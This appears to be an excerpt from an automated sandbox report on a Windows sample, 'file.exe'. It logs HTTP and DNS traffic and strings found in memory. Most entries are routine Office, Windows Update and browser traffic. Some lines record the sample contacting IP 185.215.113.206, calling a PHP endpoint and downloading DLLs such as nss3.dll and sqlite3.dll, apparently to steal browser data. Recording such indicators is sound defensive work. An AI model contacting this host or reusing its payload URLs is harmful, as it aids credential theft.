Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FBpGfAvUTte+PfH&MD=dBuea8K9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 628361a9-13a9-40ad-a71b-6b023a167397.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2486320948.0000000000446000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2489025666.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php8
Source: file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpCY
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJEGCGDGHDHIDHDGCB
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpV
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpftware
Source: file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phph
Source: file.exe, 00000000.00000002.2486320948.000000000038C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl
Source: file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpo
Source: file.exe, 00000000.00000002.2489025666.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpoft
Source: file.exe, 00000000.00000002.2489025666.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpp
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php~
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll4
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll1
Source: file.exe, 00000000.00000002.2486320948.0000000000474000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2489025666.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2489025666.0000000000B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2486320948.000000000038C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206HII
Source: file.exe, 00000000.00000002.2489025666.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206P
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
